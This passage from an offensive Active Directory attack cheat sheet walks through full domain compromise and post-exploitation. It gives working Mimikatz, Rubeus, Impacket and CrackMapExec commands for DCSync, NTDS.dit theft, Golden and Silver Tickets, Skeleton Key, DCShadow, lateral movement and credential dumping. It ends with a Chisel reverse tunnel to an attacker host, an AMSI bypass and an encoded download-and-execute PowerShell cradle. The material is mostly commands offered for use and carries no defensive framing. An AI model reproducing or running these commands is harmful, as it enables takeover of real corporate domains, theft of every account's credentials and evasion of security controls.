--------------------------------------------------------------------
(Attack 2 - Resource-Based Constrained Delegation (RBCD))
# Modify msDS-AllowedToActOnBehalfOfOtherIdentity attribute
# PowerView + Impacket
Set-DomainObject -Identity [target-computer] -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
.\Rubeus.exe s4u /user:[our-machine$] /rc4:[machine-hash] /impersonateuser:administrator /msdsspn:cifs/[target] /ptt

[Step 4: Domain Compromise]

In this phase, the goal is to gain domain admin or equivalent privileges and achieve full DC takeover.

[4–1: DCSync Attack]

DCSync tricks a real DC into thinking the attacker is another DC requesting replication, allowing extraction of every account’s NTLM hash and Kerberos keys — without ever physically touching the DC.

Requirements:

1. Account with DS-Replication-Get-Changes + DS-Replication-Get-Changes-All rights
2. These rights are typically held by Domain Admins, Enterprise Admins, and Domain Controllers
3. Use BloodHound's "Find Principals with DCSync Rights" query to find non-standard accounts

Attack Flow + Tools & Commands:

(Attack Flow)
1. Obtain a DA account or account with DCSync rights
2. Pose as a fake DC and send a replication request (DRSUAPI GetNCChanges)
3. DC treats it as a legitimate sync and returns the hashes
4. Obtain NTLM hashes + Kerberos keys for every account
5. krbtgt hash → forge a Golden Ticket
6. Administrator hash → Pass-the-Hash
--------------------------------------------------------------------
(Execute the Attack)
# Mimikatz (Windows, DA privileges required)
1. Run mimikatz.exe
2. privilege::debug (privilege escalation)
3-1. lsadump::dcsync /user:Administrator
→ Extract only the Administrator account hash
3-2. lsadump::dcsync /domain:domain.local /all /csv
→ Extract all domain account hashes in CSV format
# secretsdump.py (from Kali, with credentials)
secretsdump.py domain.local/[DA-user]:[pass]@[DC-IP] -just-dc-ntlm
# secretsdump.py (with hash)
secretsdump.py -hashes :[NTLM-hash] domain.local/[user]@[DC-IP] -just-dc-ntlm

[4–2: NTDS.dit Dump]

Directly extract the Active Directory database file (NTDS.dit) from the DC to obtain all domain hashes.

※ The SYSTEM registry hive is also required — it contains the decryption key.

Requirements:

1. Direct access to the DC (local or remote)
2. DA privileges or Backup Operators group membership

Attack Flow + Tools & Commands:

(Attack Flow)
Access the DC with DA privileges (Evil-WinRM, psexec, etc.)
→ Create a Volume Shadow Copy (needed to copy locked, in-use files)
→ Copy NTDS.dit + SYSTEM hive from the Shadow Copy
→ Transfer files to Kali
→ Run secretsdump.py for offline hash extraction
→ Obtain hashes for every domain account
--------------------------------------------------------------------
(Execute the Attack)
# Using Volume Shadow Copy (Windows)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\SYSTEM
reg save HKLM\SYSTEM C:\SYSTEM
# Extract from Kali
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
# Impacket ntdsutil
ntdsutil.py [user]@[DC-IP] -hashes :[hash]

[4–3: Golden Ticket Attack]

Forge a TGT (Ticket Granting Ticket) using the krbtgt account’s NTLM hash.

A forged TGT grants access to anywhere in the domain, can be set with a 10-year validity, and survives password changes. (The krbtgt password must be rotated twice to invalidate it.)

Requirements:

1. krbtgt account NTLM hash (obtain via DCSync or NTDS.dit)
2. Domain SID required

Attack Flow + Tools & Commands:

(Attack Flow)
1. Obtain the krbtgt hash via DCSync or NTDS.dit
2. Get the domain SID (whoami /user or Get-DomainSID)
3. Forge the TGT using Mimikatz / Rubeus
   (Any username works — the account doesn't even need to exist)
4. Inject the forged ticket into memory (/ptt)
5. Access any service in the domain
6. Survives password changes until krbtgt is rotated twice
--------------------------------------------------------------------
(Gather Required Information)
# Get domain SID
whoami /user  # S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-[RID]
# Or
Get-DomainSID  # PowerView
# Get krbtgt hash (DCSync)
secretsdump.py domain.local/[DA-user]:[pass]@[DC-IP] -just-dc-user krbtgt
--------------------------------------------------------------------
(Generate and Use the Golden Ticket)
# Mimikatz
1. Run mimikatz.exe
2. kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-XXXXXXX /krbtgt:[krbtgt-hash] /ptt
※ /user:Administrator is just an example — /user:FakeAdmin (non-existent account) works fine
※ The ticket is accepted as long as the signature is valid
# Rubeus
.\Rubeus.exe golden /rc4:[krbtgt-hash] /domain:domain.local /sid:S-1-5-21-XXXXXXX /user:FakeAdmin /ptt
# Verify access after injection
dir \\DC\C$
psexec.exe \\DC cmd.exe

[4–4: Silver Ticket Attack]

Forge a TGS (Ticket Granting Service) ticket using a service account’s hash.

Unlike a Golden Ticket, it requires no communication with the DC — making it harder to detect — but it only grants access to the specific targeted service.

Requirements:

1. Service account NTLM hash required
2. Target service's SPN information required

Attack Flow + Tools & Commands:

(Attack Flow)
1. Obtain the service account's hash (via Kerberoasting or Mimikatz)
2. Identify the target service's SPN (e.g., cifs/fileserver.domain.local)
3. Forge the TGS with Mimikatz (generated locally, no DC communication)
4. Inject the forged ticket (/ptt)
5. Access only the targeted service (narrower scope than Golden Ticket, but stealthier)
--------------------------------------------------------------------
(Execute the Attack)
# Mimikatz
1. Run mimikatz.exe
2. kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-XXXXXXX /target:[service-host] /service:cifs /rc4:[service-account-hash] /ptt
# Verify access
dir \\[target]\C$

[4–5: Skeleton Key Attack]

Injects a master password into the LSASS process on the DC, allowing authentication to any domain account using the password “Mimikatz” — without affecting existing passwords.

※ Does not survive a reboot.

Requirements:

1. DA access to the DC
2. Must be able to bypass AV/EDR

Attack Flow + Tools & Commands:

(Attack Flow)
1. Access the DC with DA privileges
2. Upload Mimikatz to the DC
3. Run privilege::debug → misc::skeleton
4. Inject master password ("Mimikatz") into LSASS
5. Any domain account can now authenticate using "Mimikatz" as the password
6. Original passwords still work in parallel
7. Lost after reboot (not persistent)
--------------------------------------------------------------------
(Execute the Attack)
# Mimikatz (run on the DC)
1. Run mimikatz.exe
2. privilege::debug (privilege escalation)
3. misc::skeleton (inject Skeleton Key)
# Any account in the domain can now authenticate with the password "Mimikatz"
net use \\DC\C$ /user:Administrator Mimikatz

[4–6: DCShadow]

An advanced technique that registers a rogue DC in AD and force-pushes malicious changes (new accounts, permission modifications, etc.) directly into the real AD.

※ Capable of bypassing existing audit logs.

Requirements:

1. DA privileges
2. Two separate Mimikatz instances required

Attack Flow + Tools & Commands:

(Attack Flow)
1. Access a machine with DA privileges
2. Mimikatz instance 1: Register a rogue DC (lsadump::dcshadow)
3. Mimikatz instance 2: Prepare the changes to push
   (e.g., grant DA rights to a specific user, create a backdoor account, etc.)
4. Use /push to force-replicate changes into the real AD
5. Appears as legitimate DC replication in existing audit logs
6. Extremely difficult to detect
--------------------------------------------------------------------
(Execute the Attack)
Terminal 1 - (Start rogue DC)
1. Run mimikatz.exe
2. !+
3. !processtoken
4. lsadump::dcshadow
→ Register rogue DC and wait
Terminal 2 - (Push changes)
1. Run mimikatz.exe
2. lsadump::dcshadow /object:targetuser /attribute:description /value:"hacked"
→ Prepare the change
3. lsadump::dcshadow /push
→ Force-replicate into AD
--------------------------------------------------------------------
(Verify)
# Check via PowerShell
Get-ADUser targetuser -Properties description
→ Confirm description has changed to "hacked"
# Check DA group membership
Get-ADGroupMember "Domain Admins"
→ Confirm targetuser was added

[Step 5: Post-Exploitation & Persistence]

In the final phase, the goal is to maintain access after DC compromise and move to additional target systems.

[5–1: Lateral Movement]

# psexec.py - remote command execution over SMB
psexec.py domain.local/Administrator:[pass]@[IP]
psexec.py -hashes :[hash] domain.local/Administrator@[IP]
# wmiexec.py - remote command execution via WMI (quieter)
wmiexec.py domain.local/Administrator:[pass]@[IP]
# smbexec.py - execution over SMB
smbexec.py domain.local/Administrator:[pass]@[IP]
# Evil-WinRM - PowerShell remoting (WinRM, port 5985)
evil-winrm -i [IP] -u Administrator -p [pass]
evil-winrm -i [IP] -u Administrator -H [hash]
# RDP
xfreerdp /v:[IP] /u:Administrator /p:[pass] +clipboard /dynamic-resolution

[5–2: Credential Dumping]

# Mimikatz - LSASS memory dump
1. Run mimikatz.exe
2. privilege::debug
3-1. sekurlsa::logonpasswords → plaintext passwords + hashes
3-2. lsadump::sam          → SAM database local account hashes
3-3. lsadump::lsa /patch   → LSA Secrets cached credentials
# CrackMapExec
crackmapexec smb [IP] -u [user] -p [pass] --lsa   → dump LSA Secrets
crackmapexec smb [IP] -u [user] -p [pass] --ntds  → dump DC NTDS.dit
# secretsdump.py
secretsdump.py domain.local/[user]:[pass]@[IP]    → dump SAM + LSA + NTDS all at once

[5–3: Network Pivoting]

# Configure proxychains
# Add to /etc/proxychains.conf:
# socks5 127.0.0.1 1080
# SSH tunnel (SOCKS5 proxy)
ssh -D 1080 -f -N user@[jump-host]
# Chisel tunnel
# Server (attacker)
chisel server --port 8080 --reverse
# Client (victim)
chisel client [ATTACKER-IP]:8080 R:socks
# Access internal network through proxychains
proxychains nmap -sT -Pn 10.10.10.0/24

[5–4: Basic AV / EDR Bypass]

# AMSI Bypass (PowerShell)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Execution Policy bypass
powershell -ep bypass
powershell -ExecutionPolicy Bypass -File script.ps1
# Base64 encoding
$enc = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX(New-Object Net.WebClient).DownloadString('http://[IP]/script.ps1')"))
powershell -enc $enc